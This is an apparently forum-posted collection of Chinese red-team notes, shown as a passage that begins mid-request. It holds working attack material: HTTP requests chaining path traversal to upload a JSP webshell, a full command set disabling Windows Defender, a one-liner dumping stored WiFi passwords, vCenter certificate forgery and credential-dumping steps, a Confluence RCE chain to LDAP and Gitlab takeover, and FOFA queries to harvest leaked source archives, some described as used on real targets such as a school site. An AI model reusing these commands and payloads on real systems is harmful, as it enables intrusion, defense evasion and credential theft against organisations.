Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate
```
- burp抓包,换为post请求发现可下载任意文件
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../webapps/WEB-INF/web.xml
```
- 读取日志文件判断class文件的位置
```
POST /download HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml
Accept-Encoding: gzip, deflate

module=&method=Download&name=test.zip&filepath=../logs/catalina.2021-xx-xx.log
```
- 下载class文件分析审计,在/download路由下的servlet存在上传文件和更新文件的操作
  - 首先上传一个空文件到web目录
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=upload&txtFile_Name=x.jsp&home=/&filepath=../webapps/
  ```

  - 更新文件内容为webshell
  ```
  POST /download HTTP/1.1
  Host: 1.1.1.1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  Accept: text/html,application/xhtml+xml,application/xml
  Accept-Encoding: gzip, deflate

  module=&method=updateContent&home=/&filepath=../webapps/x.jsp&content=xxxxxx
  ```
- 成功突破网络边界进入内网

### pocsuite3代理食用
命令行:
```shell
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks5://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy socks4://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy http://1.2.3.4:5678
python cli.py -r pocs\rce.py -u http://127.0.0.1/ --verify --proxy https://1.2.3.4:5678
```
proxier:

![image]()

### 子域名爆破-泛解析问题
0.泛解析
```shell
原理:
利用通配符(*)将所有某个级别的域名解析到同一个IP地址上。

举例:
现有域名github.com, 设置泛解析后,所有该域名下的子域aaa.github.com,bbb.aaa.github.com都会被解析到和github.com相同的ip地址。
```
1.OneForAll:
```shell
访问一个随机的并不存在的域,通过返回结果判断是否存在泛解析,若存在泛解析,程序会不断的循环产生随机域名向服务器查询,将每次查询到的IP和TTL记录下来,直到大部分的IP地址出现次数都大于两次,则IP黑名单的收集结束,在得到了IP黑名单以后,将自己的字典中的每一项和要指定查询的域名进行拼接爆破,然后根据IP黑名单进行过滤。
```
2.SubdomainBrute

```shell
超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃。
```
3.目前思路-TTL黑名单
```shell
在权威 DNS 中,泛解析记录的 TTL 肯定是相同的,如果子域名记录相同,但 TTL 不同,那这条记录可以说肯定不是泛解析记录。
```
参考:http://sh3ll.me/

### SQL注入攻击面

- 万能密码
- 敏感信息  `邮箱/电话等 -> 供社工钓鱼使用`
- 凭证  `session/密码等 -> 外网系统入口(OA/邮箱/VPN)`
- RCE
  - mssql xp_cmdshell
  - mysql udf
- Webshell
  - mysql
  - mssql
  - oracle
- SSRF
  - mssql
  - oracle
- 端口扫描
  - oracle
- 凭据(NTLM Hash)
  - Windows & UNC

### 文件删除攻击面

- 删除install.lock导致重装,进而RCE
  -  /sys/install.lock VAuditDemo
- 删除某些配置文件导致重装,进而RCE
  -  my.php 然之协同
- 删除权限校验文件,组合受限漏洞(文件上传/SQLi注入等),进而RCE
  -  /inc/auth.inc.php 通达OA
- 删除账号密码配置文件,导致账号密码重新配置,进而获得管理员权限
  -  /WEB-INF/resources/privilege.xml 帆软报表系统(FineReport)
### Java SSRF攻击面

- 利用file协议任意文件读取
- 利用http协议端口/服务探测
- 利用http协议进行 ntlm relay
- 组合redis等内网服务从而rce(weblogic)

### 黑盒-漏洞挖掘(弱口令->任意文件下载->RCE)
- Tip: `fofa随缘,独立ip 1000+即可`
![image]()

**step1**
- 搜索产品的安装手册/用户手册(弱口令,影子账户等)
- 发现通用弱口令-admin/admin
  ![image]()

**step2**
- 登录后台并测试功能点,burp抓取流量
- 发现参数:?xmlPath=
  - 构造payload
  ```
  .action?xmlPath=../../conf/tomcat-users.xml
  .action?xmlPath=../../webapps/examples/WEB-INF/web.xml
  ```
- 经测试存在任意文件读取漏洞
  ![image]()

**step3**
- 回溯burp的代理流量
- cookie发现参数:rememberMe
- 尝试组合任意文件读取进行漏洞利用
  - web.xml -> shiro.ini(失败)
  - tomcat-users.xml -> 控制台利用思路(失败)
- 最后还是作为脚本小子的快乐
  ![image]()

  
### ThinkPHP 5.0.X(Debug模式+空数组)
- 若目标启用了 debug 模式,敏感功能点传递空数组可能会引起程序抛出异常泄露敏感信息 by xxxeyJ
```http
POST /index/login HTTP/1.1
User-Agent:
Accept:
Accept-Encoding:
Content-Type:

username=admin&password[]=&verifycode=
```
### 内网-CMD获取RDP端口
Terminal下执行
> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

响应
> PortNumber    REG_DWORD    0xd3d

![image]()

进制转换得到

![image]()

### 内网-规避杀软 Windows Defender
```shell
# Defensive Evasion
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v MpEnablePus /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f
reg.exe     add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
reg.exe     delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
```
### 打点-文件下载/信息收集 mlocate.db

   mlocate.db是linux下的一个数据库文件,用于存放locate命令的索引,也就是相当于存放了所有文件的路径。

文件位置
> /var/lib/mlocate/mlocate.db

与之对应的命令 — locate

在拿到目标权限后做信息收集还是蛮不错的

```shell
locate web.xml
```
![image]()

### 内网-CMD获取WIFI密码
— by chengmo
```
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
```
![11111]()

### 内网-DMZ区突破
`本质:找到能通向内网的主机`

- 双网卡主机
- 历史登录IP:可能来自内网的运维
- 站库分离:数据库服务器很可能在内网
  - https://github.com/blackarrowsec/mssqlproxy
- VPN:信息收集
- 钓鱼:钓鱼上线的机子大概率是在办公网)

### 内网-PowerShell命令历史记录
`— 类似Linux下的.bash_history`

文件位置
>  %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

![image]()


利用思路
- 打点: 任意文件下载+Windows系统,可以尝试一下该路径,也许有新世界
- 内网: 信息收集
- 蓝队: 溯源取证时,毕竟CMD一直以来都被诟病,PowerShell改改颜值还是很能打的,但是也就悄悄地给蓝队留下了"证据"(:

![image]()

### 内网-定位多网卡主机(OXID Resolver)

工具
- https://github.com/Rvn0xsy/OXID-Find/

条件
- 目标主机: 开放135端口

后续
- 考虑到平台兼容性,可以根据OXID-Find用其他语言重构一版自用。

### 内网-主机"不出网"
~~本地环境搭建中~~

### 内网-跨域
~~本地环境搭建中~~

### 打点-Confluence RCE利用

近期的1次实战

0. Confluence RCE(CVE-2021-26084),写入webshell,获取服务器权限
1. 找到数据库配置文件,获取数据库权限
2. 前期信息收集发现WIKI、Jira等站点需要AD账号登录,猜测其数据库有LDAP信息
3. 在cwd_directory_attribute表找到LDAP配置信息,拿到密码
4. 通过该密码获取源码管理平台(Gitlab)的控制权

### 打点-文件下载-.net环境

#### 0x01 前言

这是对学校某网站随机测试发现的,当时可下载web.config,由于不熟悉.net就没有后续了。

前段时间隔壁班的大佬提示说: 可以尝试下载源码审计一波????

#### 0x02 流程回顾

在xx通知页面发现一处文件下载的功能点
- /tp/DownLoadFile.aspx?filename=

![image]()

于是开始猜其目录
```
?filename=DownLoadFile.aspx
?filename=./DownLoadFile.aspx
?filename=./../DownLoadFile.aspx
......
```
最后以
- ?filename=./../DownLoadFile.aspx

成功下载

![image]()

#### 0x03 利用思路

1.下载web.config,获取数据库配置以及部分网站架构

![image]()

如图,可获取到数据库密码

2.遍历下载*.aspx,然后根据Inherits所引用文件的位置,构造路径下载*.dll,然后dnSpy反编译后审计即可

示例:文件下载漏洞

![image]()



### 内网-vSphere & vCenter的后利用姿势
— 历史笔记整理

> 关于vcenter的利用主要是在已经获取服务器权限的情况下

(登录后台)

- 从 vCenter 备份中提取 IdP 证书并伪造管理员身份登录后台(实战案例)
- 工具地址
    - [vcenter_saml_login](https://github.com/horizon3ai/vcenter_saml_login)

data.mdb位置:

- Linux:
   
    ```
    /storage/db/vmware-vmdir/data.mdb
    ```
   
- Windows
   
    ```
    C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
    ```
   

实测效果

![image]()

然后访问https://10.10.10.1/ui,在 /ui 路径下替换上一步所获得的cookie即可

![image]()


进入后台后
  - 可通过vcenter的快照功能获取虚拟机的快照,然后通过内存取证的姿势dump凭证,pth;
  - 也可传到本地,再恢复成虚拟机,然后通过PE,重命名CMD.EXE为OSK.exe覆盖原OSK.exe,此时开机打开屏幕键盘会弹出SYSTEM权限的命令行窗口,本地上线cs然后hashdump抓取凭证,pth即可。(by banliz1)

### 钓鱼-邮箱探针

```
# by se7ensec.cn
平常去河边钓鱼,要使用浮漂才会知道这条河是否有鱼吃饵料,同理当邮件投递出去后,此探针可以判断目标是否点击了邮件,不至于那么的苦等。
```
- [鱼叉攻击|Mail-Probe 邮箱探针后台管理系统](https://www.se7ensec.cn/2020/09/ ... %E7%B3%BB%E7%BB%9F/)

### 内网-Citrix的后渗透思路
```
Citrix虚拟化应用常常与AD域绑定,如果被登录,将会对整个域安全造成非常重大的风险。
```
- [浅谈关于企业中citrix的渗透思路](https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg)

### 打点-Confluence后利用思路
- 修改数据库,实现用户登录
  - 修改用户登录口令
  - 修改Personal Access Tokens(by 3gstudent)
- 写文件
  - Windows: Confluence默认权限为network service,具有写权限
  - Linux: Confluence默认权限为confluence,没有写权限,可以尝试内存马

测试CVE-2021-26084:
- Windows Server 2016
- Atlassian Confluence 7.4.10
- Postgresql 12.8-1
- AntSword

目录:

![image]()

![image]()

- 数据库配置-confluence.cfg.xml
```
# Windows默认安装
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml
# Ubuntu默认安装
/var/atlassian/application-data/confluence/confluence.cfg.xml
```
![image]()

### 基建-关于学习RFC规范的必要性
> 最近的一次小组例会上有幸收到了来自leader的leader的建议 —— 多看看RFC文档、技术基建要做好。(缘起log4shell)

```shell
For better or worse, Requests for Comments (RFCs) are how we specify many protocols on the Internet.
```

RFC规范实际使用场景示例:
- [从RFC规范看如何绕过waf上传表单 上篇](https://www.anquanke.com/post/id/241265)
- [从RFC规范看如何绕过waf上传表单 下篇](https://www.anquanke.com/post/id/242583)
- [利用 URN 绕过 URL 检查](https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ)
- [利用 multipart boundary 绕过 WAF](https://mp.weixin.qq.com/s/Wsl17GjucN08YAiwbm0vYQ)
- [An Exploration of JSON Interoperability Vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)

学习参考:
- [How to Read an RFC(中文译版)](https://juejin.cn/post/6844903716051484679)
- [How to Read an RFC](https://www.mnot.net/blog/2018/07/31/read_rfc)

### 基建-负载均衡场景下的渗透
- Why?
>
> 相信能看到这些笔记的师傅可能都曾遇到过负载均衡场景下的渗透问题,比如你通过nday打下了一台weblogic,并上了webshell,当你对目标机子再次发起请求时,你会发现执行命令出错,也许会猜测是因为网络问》题;于是你再用exp打了一次,成功了,此时的ip可能发生了变化;失败了,漏洞不存在了?在这些问题的背后,很有可能就是`负载均衡`在作祟。再加上微服务架构和K8S的兴起,负载均衡的应用也越来越多,这是个不得不学习 & 解决的坑。


- What?

> \# 通俗理解:
> 一个超市的收营员高峰期只能服务10位顾客,当做活动时有20位顾客需要服务的话可能就会排长队,这样购物体验将会很差(就像客户抱怨系统/网站访问太慢)。最简单的办法就是再招个营业员,重新开通一个出口。负载均衡的核心就是“分摊压力”。


- How?
  - [渗透测试-负载均衡识别](https://blog.csdn.net/Z_Grant/article/details/99636169)
  - [负载均衡踩坑记](https://xz.aliyun.com/t/10297)
  - [负载均衡下的 WebShell 连接](https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA)
  - [内网渗透-FRP负载均衡](https://scarletf.github.io/2021/ ... %E5%9D%87%E8%A1%A1/)
  - [proxyshell 针对Exchange负载均衡情况下的修改版POC](https://www.t00ls.cc/articles-64010.html)
  - [Neo-reGeorg-(非 php) 已支持内网转发,应对负载均衡环境](https://github.com/L-codes/Neo-reGeorg#features)
  - [挖洞经验 | 从负载均衡或CDN应用中发现的配置类漏洞](https://www.freebuf.com/vuls/227805.html)

### 云安全-K8S场景下的渗透
- [Kubernetes安全测试实践录](https://tttang.com/archive/1389/)
- [Kubernetes(K8s)横向移动办法](https://payloads.online/archivers/2021-07-20/1/)
- [Kubernetes安全入门](https://xz.aliyun.com/t/4276)
- [Kubernetes集群渗透测试](https://www.freebuf.com/vuls/196993.html)
- [K8s渗透测试之kube-apiserver利用](https://www.cdxy.me/?p=839)
- [K0OTKIT:HACK K8S IN A K8S WAY](http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/)
- [华为云CTF cloud非预期解之k8s渗透实战](https://annevi.cn/2020/12/21/%E5 ... %E5%AE%9E%E6%88%98/)
- [容器安全 & 容器渗透学习笔记](https://lfysec.top/2021/07/13/%E ... %E7%AC%94%E8%AE%B0/)
- [云原生安全|基于容器ATT&CK矩阵模拟攻防对抗的思考](https://www.secpulse.com/archives/168616.html)
- [学习K8S中常见的21种攻击方式](https://www.wangan.com/p/7fygf39b3e601183)
- [红蓝对抗中的云原生漏洞挖掘及利用实录](https://security.tencent.com/index.php/blog/msg/183)

### 信息收集-FoFa获取闭源软件源码
> 其他测绘引擎同理
示例:
```
body="web.config" && "oa" && "rar" && country="CN"
body="web.config" && "U8" && country="CN"
body="web.config" && "EAS" && country="CN"
body="web.config" && "k3s" && country="CN"
body="web.config" && "kingdee" && country="CN"
body="web.config" && "系统" && country="CN"
body="web.config" && "办公" && country="CN"
body="web.config" && "EKP" && country="CN"
...
```
效果: 某OA全家桶?

![image]()

### 打点-文件写入->RCE 的路径
- Web
  - Webshell
  - 文件包含(php)
  - 模板引擎(.vm、.ftl)
  - 脚本文件(.groovy)
- Linux
  - 计划任务 cron
  - 开机启动程序 /etc/rc.local
  - SSH公钥
- Windows
  - 启动项
  - MOF(windows 2003)

### 内网-Microsoft ATA 规避
> 没遇到过,遇到了也不一定知道自己遇到了,再一次被自己 Vegetable Cried !!!
- 0、[What is Advanced Threat Analytics?](https://docs.microsoft.com/en-us ... alytics/what-is-ata)
- 1、[Week of Evading Microsoft ATA @Nikhil SamratAshok Mittal](http://www.labofapenetrationtest ... 0Threat%20Analytics)
- 2、[Microsoft ATA Evasion (Over PTH, Golden Ticket)](https://cyberstruggle.org/micros ... rpth-golden-ticket/)
- 3、[Evading Microsoft ATA for Active Directory Domination @Black Hat](https://www.youtube.com/watch?v=bHkv63-1GBY)


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:38 , Processed in 0.018553 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表